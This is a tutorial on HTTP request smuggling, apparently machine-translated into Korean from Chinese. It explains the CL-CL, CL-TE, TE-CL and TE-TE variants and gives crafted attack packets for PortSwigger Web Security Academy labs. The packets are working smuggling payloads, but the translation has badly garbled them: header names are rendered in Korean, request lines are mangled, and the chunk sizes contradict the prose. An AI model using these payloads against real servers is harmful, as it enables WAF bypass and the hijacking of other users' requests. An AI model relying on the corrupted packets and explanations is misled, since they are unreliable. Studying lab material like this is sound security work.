제목 : HTTP 요청 밀수

HTTP 请求走私​

1 前言​

1.1 Keep-Alive​

HTTP 1.0 이전의 프로토콜 설계에서 클라이언트가 HTTP 요청을 할 때마다 서버와 TCP 링크를 설정해야합니다. 최신 웹 사이트 페이지는 여러 리소스로 구성됩니다. 웹 페이지의 내용을 얻으려면 HTML 문서뿐만 아니라 JS, CSS 및 사진과 같은 다양한 리소스를 요청해야합니다. 이전 프로토콜에 따라 디자인하면 HTTP 서버의 하중 오버 헤드가 증가합니다. 따라서 HTTP 1.1에서 Keep-Alive 및 Pipeline의 두 가지 기능이 추가되었습니다.
Keep-Alive 란 무엇입니까? HTTP 요청에 특별 요청 헤더 연결 3:을 추가 하여이 HTTP 요청을 수신 한 후 TCP 링크를 닫지 않음을 서버에 알려주는 것입니다. 그런 다음 동일한 대상 서버의 HTTP 요청에 직면 하여이 TCP 링크를 재사용하십시오. 이를 위해서는 TCP 핸드 셰이크 프로세스 만 있으면 서버 오버 헤드를 줄이고 리소스를 저장하며 액세스 속도를 높일 수 있습니다. 물론이 기능은 기본적으로 HTTP 1.1에서 활성화됩니다.

1.2 Pipeline​

은 Keep-alive가있는 파이프 라인을 이용할 수 있습니다. 여기서 클라이언트는 서버가 응답을 기다리지 않고 파이프 라인과 같은 자체 HTTP 요청을 보낼 수 있습니다. 요청을 수신 한 후 서버는 첫 번째 최초의 메커니즘을 따라야하고 요청 및 응답에 엄격히 일치 한 다음 클라이언트에 응답을 보내야합니다. 이제 브라우저는 기본적으로 파이프 라인을 활성화하지 않지만 일반 서버는 파이프 라인을 지원합니다.
20200915141458.png-water_print

1.3 原理​

프록시 서버의 IP 주소와 백엔드 소스 서버의 IP 주소가 비교적 고정되어 있기 때문에 TCP 링크는 리버스 프록시 서버와 백엔드 소스 서버간에 재사용 될 것입니다.
그러나 두 서버의 다른 구현 방법으로 인해 사용자가 모호한 요청을 제출하면 프록시 서버는 이것이 HTTP 요청이라고 생각하여 백엔드 소스 서버로 전달할 수 있습니다. 그러나 구문 분석 및 처리 후 소스 서버는 그 일부가 정상적인 요청이라고 생각하며 나머지 부분은 밀수 된 요청이라고 생각합니다. 이것은 HTTP 밀수 요청의 기원입니다.
HTTP 요청 밀수 취약성의 이유는 HTTP 사양이 요청의 최종 위치를 지정하는 두 가지 다른 방법을 제공하기 때문입니다. 컨텐츠 길이 헤더 및 전송 인코딩 헤더 인 간단하고 간단하며 메시지 컨텐츠 본문의 길이를 바이트로 지정합니다.
전송 인코딩 헤더는 메시지 본문이 청크 인코딩을 사용하는 데 사용되는 것을 지정하는 데 사용됩니다. 가장 중요한 것은 : 전체 메시지 본문은 크기 0 블록으로 끝나는 것입니다. 즉, 구문 분석은 0 개의 데이터 블록으로 끝납니다. 좋다:
1
2
3
4
5
6
7
8
9
포스트/http/1.1
Host: AC6F1FF1F11E5C7D4E806912D000080058.Web-Security-academy.net
Content-Type: Application/X-WWW-FORM-URLENCODED
전송 인코딩 : 청크

a=11
0
실제로 이해하기가 정말 간단합니다. 컨텐츠 길이를 포함한 요청을 보내는 것과 같습니다. 프론트 엔드 서버는 구문 분석 후 아무런 문제가 없습니다. 그러나 요청시 전송 인코딩도 포함하므로 백엔드 서버가 아래에 쓴 일부 명령을 실행하여 프론트 엔드 서버가 WAF를 우회 할 수 있습니다.

2 实例​

2.1 CL 不为 0 的 GET 请求​

프론트 엔드 프록시 서버가 요청 신호를 전달할 수있는 요청을 허용한다고 가정하면 백엔드 서버가 요청 본문을 전달할 수있는 요청을 허용하지 않지만 GET 요청에서 컨텐츠 길이 헤더를 직접 무시하고 처리하지 않습니다. 이것은 밀수를 요청할 수 있습니다.
예를 들어 요청을 구성합니다.
1
2
3
4
5
6
7
get/http/1.1 \ r \ n
host: example.com \ r \ n
Content-Length: 44 \ r \ n
get/secret http/1.1 \ r \ n
host: example.com \ r \ n
\ r \ n
프론트 엔드 서버는 요청을 수신하고 컨텐츠 길이를 읽고 이것이 완전한 요청이라고 결정한 다음 백엔드 서버로 전달합니다. 백엔드 서버가 수신 된 후에는 컨텐츠 길이를 처리하지 않습니다. 파이프 라인의 존재로 인해 두 가지 요청을 받았다고 생각합니다.
1
2
3
4
5
6
7
# 첫 번째
get/http/1.1 \ r \ n
host: example.com \ r \ n
# 두 번째
get /secret http /1.1 \ r \ n
host: example.com \ r \ n

2.2 CL-CL​

RFC7230 섹션 3.3.3의 제 4 조에서 서버에서받은 요청에 두 개의 컨텐츠 길이가 포함되어 있고 두 값이 다르면 400의 오류가 필요하다는 것이 규정되어 있습니다.
그러나이 사양을 엄격하게 구현하지 않는 서버는 항상 있습니다. 유사한 요청을 수신 할 때 중간 프록시 서버와 백엔드 소스 서버가 400 오류를 반환하지 않는다고 가정하면 중간 프록시 서버는 첫 번째 컨텐츠 길이의 값에 따라 요청을 처리하는 반면 백엔드 소스 서버는 두 번째 컨텐츠 길이의 값에 따라 요청을 처리합니다.
현재 악의적 인 공격자는 특별한 요청을 구성 할 수 있습니다.
1
2
3
4
5
6
7
post/http/1.1 \ r \ n
host: example.com \ r \ n
Content-Length: 8 \ r \ n
컨텐츠-길이 3: 7 \ r \ n
12345 \ r \ n
에이
중간 프록시 서버에서 얻은 패킷의 길이는 8이며 위의 전체 패킷은 백엔드 소스 서버로 전달되는 반면 백엔드 서버에서 얻은 패킷의 길이는 7 문자를 읽은 후에 백엔드 서버는 읽은 다음 해당 응답을 생성하고 발송합니다. 현재 버퍼에 남은 문자가 여전히 남아 있습니다. 백엔드 서버의 경우이 A는 다음 요청의 일부이지만 아직 전송되지 않았습니다. 현재 다른 일반 사용자는 요청이 그림에 표시되어 있다고 가정하고 서버를 요청하는 것이 발생했습니다.
1
2
get /index.html http /1.1 \ r \ n
host: example.com \ r \ n
또한 이전 예에서 TCP 연결은 일반적으로 프록시 서버와 소스 서버간에 재사용된다는 것을 알고 있습니다.
이때, 일반 사용자의 요청은 문자 a 뒤에 스 플라이 싱됩니다. 백엔드 서버가 수신되면 실제로 처리하는 요청은 다음과 같습니다.
1
2
aget /index.html http /1.1 \ r \ n
host: example.com \ r \ n
현재 사용자는 찾을 수없는 AGET 요청 메소드와 유사한 오류를받습니다. 이는 HTTP 밀수 공격을 구현하여 일반 사용자의 동작에도 영향을 미치며 CSRF와 유사한 공격 방법으로 확장 될 수 있습니다.
그러나 두 개의 콘텐츠 길이 요청 패킷은 여전히 너무 이상적이며 일반 서버는 두 개의 요청 헤더가있는 해당 요청 패킷을 허용하지 않습니다. 그러나 RFC2616의 섹션 4.4에서 :이 컨텐츠 길이 및 전송 인코딩 요청 헤더가 모두있는 요청 패킷을 수신하는 경우 처리 중에 컨텐츠 길이를 무시해야합니다. 이는 실제로 요청 패킷에 요청 헤더를 모두 포함시키는 것이 위반이 아니라는 것을 의미하며 서버는 400 오류를 반환 할 필요가 없습니다. 여기서 서버 구현은 문제가 발생하기 쉽습니다.

2.3 CL-TE​

소위 CL-TE는 두 개의 요청 헤더가있는 요청 패킷이 수신되면 프론트 엔드 프록시 서버는 요청 헤더 컨텐츠 길이 만 처리하고 백엔드 서버는 RFC2616의 조항을 준수하고 컨텐츠 길이를 무시하고 요청 헤더에 인코딩을 처리한다는 것을 의미합니다.
청크 전송 데이터의 형식은 다음과 같습니다. 여기서 크기 값은 16 진수로 표시됩니다.
실험실 주소 : https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
패킷 구성 :
1
2
3
4
5
6
7
8
9
10
11
12
post/http/1.1 \ r \ n
Host: ACE01FCF1FD05FAF80C21F8B00EA006B.WEB-Security-Academy.net \ R \ N
accept: 텍스트/html, 응용 프로그램/xhtml+xml, application/xml; q=0.9,*/*; q=0.8 \ r \ n
accept-language: en-us, en; q=0.5 \ r \ n
Cookie: 세션=E9M1PNYFBVTMYETTYSENTY5EIJPDC04EVM3 \ R \ N
Connection: Keep-alive \ r \ n
컨텐츠-길이 3: 6 \ r \ n
전송 인코딩 : 청크 \ r \ n
\ r \ n
0 \ r \ n
\ r \ n
G
이 응답은 몇 가지 연속 요청을 보내면 얻을 수 있습니다.
20200915143924.png-water_print

2.4 TE-CL​

소위 TECL은 두 개의 요청 헤더가있는 요청 패킷이 수신되면 프론트 엔드 프록시 서버가 전송 인코딩 요청 헤더를 처리하고 백엔드 서버는 콘텐츠 길이 요청 헤더를 처리합니다.
실험실 주소 : https://portswigger.net/web-security/request-smuggling/lab-basic-tecl
패킷 구성 :
1
2
3
4
5
6
7
8
9
10
11
12
13
post/http/1.1 \ r \ n
Host: AC041F531ABD0CD804EDB62000C0025.WEB-Security-Academy.net \ r \ n
accept: 텍스트/html, 응용 프로그램/xhtml+xml, application/xml; q=0.9,*/*; q=0.8 \ r \ n
accept-language: en-us, en; q=0.5 \ r \ n
Cookie: 세션=3yiu83zsygjgafygpn8vdgbkw5ifew \ r \ n
컨텐츠-길이 3: 4 \ r \ n
전송 인코딩 : 청크 \ r \ n
\ r \ n
12 \ r \ n
GPOST/HTTP/1.1 \ r \ n
\ r \ n
0 \ r \ n
\ r \ n
20200915145641.png-water_print

프론트 엔드 서버는 전송 인코딩을 처리하기 때문에 0 \ r \ n \ r \ n을 읽을 때 읽기가 완료된 것으로 간주됩니다. 현재이 요청은 프록시 서버에 대한 완전한 요청이며 백엔드 서버로 전달되었습니다. 백엔드 서버는 컨텐츠 길이 요청 헤더를 처리합니다. 5c \ r \ n을 읽은 후에는 요청이 종료되었으며 후속 데이터는 또 다른 요청으로 간주됩니다.
1
2
3
4
5
6
GPOST/HTTP/1.1
Content-Type: Application/X-WWW-FORM-URLENCODED
컨텐츠 길이 3: 15
x=1
0

2.5 TE-TE​

TE-TE, 이해하기 쉽습니다. 두 개의 요청 헤더가있는 요청 패킷을 수신 할 때 전면 및 백엔드 서버 모두 전송 인코딩 요청 헤더를 처리합니다. 이는 실제로 RFC 구현의 표준입니다. 그러나 전면 및 백엔드 서버는 결국 동일하지 않으므로 전송 요청 패킷에서 전송 인코딩에서 일부 난독 화 작업을 수행하여 서버 중 하나가 전송 인코딩 요청 헤더를 처리하지 않도록합니다. 어떤 의미에서 그것은 여전히 cl-te 또는 te-cl입니다.
실험실 주소 : https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header
패킷 구성 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
post/http/1.1 \ r \ n
Host: AC4B1FCB1F596028803B11A2007400E4.Web-Security-academy.net \ R \ N
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; RV:56.0) Gecko/20100101 Firefox/56.0 \ R \ N
accept: 텍스트/html, 응용 프로그램/xhtml+xml, application/xml; q=0.9,*/*; q=0.8 \ r \ n
accept-language: en-us, en; q=0.5 \ r \ n
Cookie: 세션=Mew4qw7brxkhk0p1thny2gixizwzdmd8 \ r \ n
컨텐츠-길이 3: 4 \ r \ n
전송 인코딩 : 청크 \ r \ n
전송 인코딩 3: cow \ r \ n
\ r \ n
5c \ r \ n
GPOST/HTTP/1.1 \ r \ n
Content-Type: Application/x-www-form-urlencoded \ r \ n
컨텐츠-길이 3: 15 \ r \ n
\ r \ n
x=1 \ r \ n
0 \ r \ n
\ r \ n
20200915150153.png-water_print
 
뒤로
상단